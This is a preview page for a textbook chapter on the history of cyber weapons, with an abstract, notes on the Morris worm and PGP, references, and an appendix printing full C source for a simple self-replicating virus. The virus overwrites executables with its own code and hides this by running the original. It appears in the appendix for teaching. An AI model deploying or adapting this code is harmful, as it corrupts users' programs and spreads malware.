Abstract
A cyber attack is any type of offensive action employed by nation-states, individuals, groups, or organizations that targets computer information systems, infrastructures, computer networks, or personal computer devices by various means of malicious acts. Cyber attacks typically originate from an anonymous source that steals, alters, or destroys a specified target by hacking into a vulnerable system (https://en.wikipedia.org/wiki/Cyberattack). Cyber warfare involves the actions by a nation-state to attack and attempt to damage another nation’s computers or information infrastructure through, for example, computer viruses, worms, or denial-of-service attacks. In this chapter we’ll look at various types of cryptologic techniques used in cyber attacks and discuss the possibilities of using cryptology in cyber warfare ; the chapter does not go deeply into system vulnerabilities and attacks or into cyber attack prevention, mitigation, or response.
This is a preview of subscription content, log in via an institution.
Buying options
Tax calculation will be finalised at checkout
Purchases are for personal use only
Learn about institutional subscriptionsNotes
- 1.
http://malware.wikia.com/wiki/Conficker
- 2.
- 3.
- 4.
Ritchie (1941–2011) was also the creator of the C programming language and a major influence in the development of Unix at Bell Labs.
- 5.
For Paul Graham see http://www.paulgraham.com/index.html Andy Sudduth (1961–2006) besides being Morris ’ friend was also a champion rower, having several national rowing championships to his credit and an Olympic silver medal.
- 6.
Paul Graham , in his essay The Submarine (http://www.paulgraham.com/submarine.html) says “The most striking example I know of this type is the “fact” that the Internet worm of 1988 infected 6000 computers. I was there when it was cooked up, and this was the recipe: someone guessed that there were about 60,000 computers attached to the Internet, and that the worm might have infected 10% of them. Actually no one knows how many computers the worm infected, because the remedy was to reboot them, and this destroyed all traces. But people like numbers. And so this one is now replicated all over the Internet, like a little worm of its own.”
- 7.
Zimmermann in “Why I wrote PGP ,” circa 1991 (underlining added) https://philzimmermann.com/EN/essays/index.html
- 8.
Actually, he wrote his own cryptographic algorithm at first, but then quickly switched to RSA.
- 9.
- 10.
- 11.
References
Bishop, Matt. 1987. A Fast Version of the DES and a Password Encryption Algorithm. RIACS 87-18. Moffett Field: NASA Ames Research Center, Research Institute for Advanced Computer Science. https://www.usenix.org/legacy/publications/compsystems/1988/sum_bishop.pdf
Bowden, Mark. 2010. The Enemy Within. The Atlantic, June 2010. https://www.theatlantic.com/magazine/archive/2010/06/the-enemy-within/308098/
Broad, William J., John Markoff, and David E. Sanger. 2011. Israeli Test on Worm Called Crucial in Iran Nuclear Delay. New York Times, January 15, 2011, sec. World. http://www.nytimes.com/2011/01/16/world/middleeast/16stuxnet.html?_r=1&ref=general&src=me&pagewanted=all
Hafner, Katie, and John Markoff. 1991. Cyberpunk: Outlaws and Hackers on the Computer Frontier. New York: Simon and Schuster.
Markoff, John. 2009. Defying Experts, Rogue Computer Code Still Lurks. New York Times, August 26, 2009, sec. Technology. http://www.nytimes.com/2009/08/27/technology/27compute.html
Mitnick, Kevin, and William Simon. 2011. Ghost in the Wires: My Adventures as the World’s Most Wanted Hacker. New York: Little Brown and Co.
Olzack, Tom. 2013. Cyberwarfare: Characteristics and Challenges. Commercial. IT Security (blog). June 24, 2013. https://www.techrepublic.com/blog/it-security/cyberwarfare-characteristics-and-challenges/.
Painter, Christopher M.E. 2001. Supervised Release and Probation Restrictions In Hacker Cases. United States Attorneys Bulletin 49 (2): 43–48.
Porras, Phillip, Hassen Saidi, and Vinod Yegneswaran. 2009. Conficker C Analysis. Menlo Park: SRI International http://www.csl.sri.com/users/vinod/papers/Conficker/addendumC/index.html.
Seeley, Donn. 1988. A Tour of the Worm. Salt Lake City: University of Utah.
Singh, Simon. 1999. The Code Book: The Evolution of Secrecy from Mary, Queen of Scots to Quantum Cryptography. Hardcover. New York: Doubleday.
Spafford, Eugene H. 1988. The Internet Worm Program: An Analysis, Purdue Technical Report CSD-TR-823. West Lafayette: Purdue University http://www.cbi.umn.edu/securitywiki/pub/CBI_ComputerSecurity/EventsMorrisWorm/morrisworm-p17-spafford-1989.pdf.
Stallings, William, and Lawrie Brown. 2015. Computer Security: Principles and Practice. 3rd ed. Boston: Pearson Education http://www.williamstallings.com/ComputerSecurity.
Thompson, Ken. 1984. Reflections on Trusting Trust. CACM 27 (8): 761–763.
Zimmermann, Philip R. 1996. The Official PGP User’s Guide. Cambridge, MA: MIT Press.
Author information
Authors and Affiliations
Appendix: A Simple Linux Virus Program Written in C
Appendix: A Simple Linux Virus Program Written in C
/* * Simple Linux (with moderate error handling) * This virus attempts to open a victim file (executable) * and insert itself into that file. * * Compile using gcc -o virus simpleLinuxvirus.c * * and execute using ./virus <victimFile> * * Original author Amrit Singh (2006) * modified by jfd to work under Mac OS X 10.6 05/2011 * also comments added (why don't these virus writers * ever use comments?) * modified again by jfd to work under OS X 10.7 10/2012 * modified again by jfd to work under OS X 10.10 02/2015 * modified again by jfd to work under OS X 10.13 02/2018 * */ /* uncomment next line to run on some Linux boxes */ /* #include <linux/prctl.h> */ #include <stdio.h> #include <signal.h> #include <sys/time.h> #include <sys/resource.h> #include <sys/stat.h> #include <sys/types.h> #include <sys/param.h> #include <sys/wait.h> #include <unistd.h> #include <stdlib.h> #include <errno.h> #include <fcntl.h> #include <sys/mman.h> /* * the size of our own executable in bytes * you'll have to compile, find the length and then * reset this and re-compile */ static int V_OFFSET = 9428; extern int errno; /* prototype of the routine that does all the work */ void do_infect(int, char **, int); int main(int argc, char **argv, char **envp) { int len; int rval; int pid, status; int fd_r, fd_w; char *tmp; char buf[BUFSIZ]; /* just so we know it works; this is the virus payload */ printf("THIS IS A VIRUS!\n"); /* Now we go back to replicating ourselves */ /* * these next three if statements check to see * if the victim file is writable * and if this file is readable */ if ((fd_r = open(argv[0], O_RDONLY)) < 0) goto XBAILOUT; /* seek to the end. if this fails leave */ if (lseek(fd_r, V_OFFSET, SEEK_SET) < 0) { close(fd_r); goto XBAILOUT; } /* create a temporary file */ if ((tmp = tmpnam(NULL)) == NULL) { close(fd_r); goto BAILOUT; } /* open the temporary file */ if ((fd_w = open(tmp, O_CREAT | O_TRUNC | O_RDWR, 00700)) < 0) goto BAILOUT; /* read the current file into the temporary file */ while ((len = read(fd_r, buf, BUFSIZ)) > 0) write(fd_w, buf, len); close(fd_w); /* create a clone of this file */ if ((pid = fork()) < 0) goto BAILOUT; /* run the original executable * done so the user thinks everything is * hunky swell * */ if (pid == 0) { execve(tmp, argv, envp); exit(127); } /* Infect */ do_infect(argc, argv, fd_r); close(fd_r); do { /* wait till you can cleanup */ if (waitpid(pid, &status, 0) == -1) { if (errno != EINTR) { rval = -1; goto BAILOUT; } else { rval = status; goto BAILOUT; } } } while (1); BAILOUT: unlink(tmp); /* delete the tmp file */ XBAILOUT: exit(rval); } void do_infect(int argc, char **argv, int fd_r) { int fd_t; int target, i; int done, bytes, length; char * targetName; void *map; struct stat stat; char buf[BUFSIZ]; if (argc < 2) return; /* nail the first executable on the command line */ for (target = 1; target < argc; target++) if (!access(argv[target], W_OK | X_OK)) targetName = argv[target]; goto NAILED; return; /* try to open the victim; return if fails */ NAILED: if ((fd_t = open(targetName, O_RDWR)) < 0) return; /* get the permissions info, length, etc. for the victim */ fstat(fd_t, &stat); length = stat.st_size; /* create a buffer that's as long as the victim */ map = (char *)malloc(length); if (!map) goto OUT; /* assume no short reads or writes, nor any failed lseeks */ /* read the victim into the buffer */ for (i = 0; i < length; i++) read(fd_t, map + i, 1); /* seek to the start of the victim * and truncate it to zero length * */ lseek(fd_t, 0, SEEK_SET); if (ftruncate(fd_t, 0)) goto OUT; /* read from the temp file into the buffer */ done = 0; /* seek back to the beginning */ lseek(fd_r, 0, SEEK_SET); /* * read the virus into the buffer * and then write it into the victim file */ while (done < V_OFFSET) { bytes = read(fd_r, buf, 1); write(fd_t, buf, bytes); done += bytes; } /* write back out the victim buffer * to the victim file */ for (bytes = 0; bytes < length; bytes++) write(fd_t, map + bytes, 1); /* free the space in tmp */ free(map); /* close the victim file and return */ OUT: close(fd_t); return; }
Rights and permissions
Copyright information
© 2018 Springer International Publishing AG, part of Springer Nature
About this chapter
Cite this chapter
Dooley, J.F. (2018). Cyber Weapons and Cyber Warfare. In: History of Cryptography and Cryptanalysis. History of Computing. Springer, Cham. https://doi.org/10.1007/978-3-319-90443-6_13
Download citation
DOI: https://doi.org/10.1007/978-3-319-90443-6_13
Published:
Publisher Name: Springer, Cham
Print ISBN: 978-3-319-90442-9
Online ISBN: 978-3-319-90443-6
eBook Packages: Computer ScienceComputer Science (R0)